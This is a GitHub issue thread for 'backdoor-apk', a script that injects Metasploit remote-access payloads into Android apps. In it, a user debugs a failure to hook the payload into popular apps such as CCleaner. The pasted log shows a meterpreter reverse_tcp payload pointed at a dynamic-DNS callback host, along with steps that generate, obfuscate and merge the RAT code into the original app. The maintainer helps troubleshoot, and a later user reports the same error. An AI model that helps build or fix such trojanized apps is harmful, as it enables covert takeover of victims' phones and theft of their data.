dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.2k stars 699 forks source link

Failed to locate smali file to hook #90

Closed Shimadzu007 closed 7 years ago

Shimadzu007 commented 7 years ago

I tested the backdoor-apk in apk 3 and they all presented the following error: Failed to locate smali file to hook

Running backdoor-apk.sh v0.2.0 on Tue Feb 28 11:38:14 UTC 2017 [+] Android payload options: 1) meterpreter / reverse_http 4) shell / reverse_http 2) meterpreter / reverse_https 5) shell / reverse_https 3) meterpreter / reverse_tcp 6) shell / reverse_tcp [?] Please select an Android payload option: 3 [?] Please enter an LHOST value: leka007.ddns.net [?] Please enter an LPORT value: 4444 [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc [] Generating RAT APK file ... done. [] Decompiling RAT APK file ... done. [] Decompiling original APK file ... done. [] Merging permissions of original and payload projects ... done. [] Running proguard on RAT APK file ... done. [] Decompiling obfuscated RAT APK file ... done. [] Creating new directories in original project for RAT smali files ... done. [] Copying RAT smali files to new directories in original project ... done. [] Fixing RAT smali files ... done. [] Obfuscating const-string values ​​in RAT smali files ... done. [*] Locating smali file to hook in original project ... done. [!] Failed to locate smali file to hook Root @ kali: ~ / backdoor-apk / backdoor-apk #

I thought it might be apktool (v.2.2.2), then I tested the apk 3 on apktool and all worked correctly. Please help me, I have tried several solutions and none corrected the error. Why is this error appearing?

dana-at-cp commented 7 years ago

@Shimadzu007 Can you attach the APK file or files that do not work?

Shimadzu007 commented 7 years ago

ccleaner-v1-11-43-multi-android.zip com.evozi.injector.zip smart-launcher-3-24-17.zip

Shimadzu007 commented 7 years ago

Those..

dana-at-cp commented 7 years ago

Each APK you shared fails to decompile/recompile using Apktool 2.2.1. I'm sorry but I do not provide support for Apktool. Use other APK files that can be processed by Apktool or contribute to Apktool development.

root@kali:~/Code/github/backdoor-apk/backdoor-apk# apktool d -o /tmp/foobar smart-launcher-3-24-17.apk 
I: Using Apktool 2.2.1-dirty on smart-launcher-3-24-17.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
root@kali:~/Code/github/backdoor-apk/backdoor-apk# apktool b /tmp/foobar/
I: Using Apktool 2.2.1-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: /tmp/foobar/res/drawable-xhdpi-v4/yssdk_gradien_top.png: libpng warning: iCCP: known incorrect sRGB profile
W: /tmp/foobar/res/drawable-hdpi-v4/yssdk_gradient_top.png: libpng warning: iCCP: known incorrect sRGB profile
W: /tmp/foobar/AndroidManifest.xml:33: error: No resource identifier found for attribute 'roundIcon' in package 'android'
W: 
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/usr/bin/aapt, p, --min-sdk-version, 9, --target-sdk-version, 25, --version-code, 461, --version-name, 3.24.17, -F, /tmp/APKTOOL4034680117401700949.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/foobar/res, -M, /tmp/foobar/AndroidManifest.xml]
    at brut.androlib.Androlib.buildResourcesFull(Androlib.java:478)
    at brut.androlib.Androlib.buildResources(Androlib.java:412)
    at brut.androlib.Androlib.build(Androlib.java:311)
    at brut.androlib.Androlib.build(Androlib.java:264)
    at brut.apktool.Main.cmdBuild(Main.java:227)
    at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/usr/bin/aapt, p, --min-sdk-version, 9, --target-sdk-version, 25, --version-code, 461, --version-name, 3.24.17, -F, /tmp/APKTOOL4034680117401700949.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/foobar/res, -M, /tmp/foobar/AndroidManifest.xml]
    at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:439)
    at brut.androlib.Androlib.buildResourcesFull(Androlib.java:464)
    ... 5 more
Caused by: brut.common.BrutException: could not exec (exit code = 1): [/usr/bin/aapt, p, --min-sdk-version, 9, --target-sdk-version, 25, --version-code, 461, --version-name, 3.24.17, -F, /tmp/APKTOOL4034680117401700949.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/foobar/res, -M, /tmp/foobar/AndroidManifest.xml]
    at brut.util.OS.exec(OS.java:95)
    at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:433)
    ... 6 more
root@kali:~/Code/github/backdoor-apk/backdoor-apk#
dana-at-cp commented 7 years ago

The Apktool errors for at least one of the APK files you shared seems to be related to issue: #78

dana-at-cp commented 7 years ago

The hooking issue itself appears to be a duplicate of issue: #89

dana-at-cp commented 7 years ago

Closing as duplicate.

Shimadzu007 commented 7 years ago

Please explain better how I can solve this problem, because I'm at the beginning I know I have a lot to learn.

hackiniciante commented 6 years ago

Estou com mesmo problema [!] Failed to locate smali file to hook

hackiniciante commented 6 years ago

Estou usando o Kali no meu celular porém aparece esse erro na hora de usar o backdoor-apk screenshot_2018-06-03-14-36-10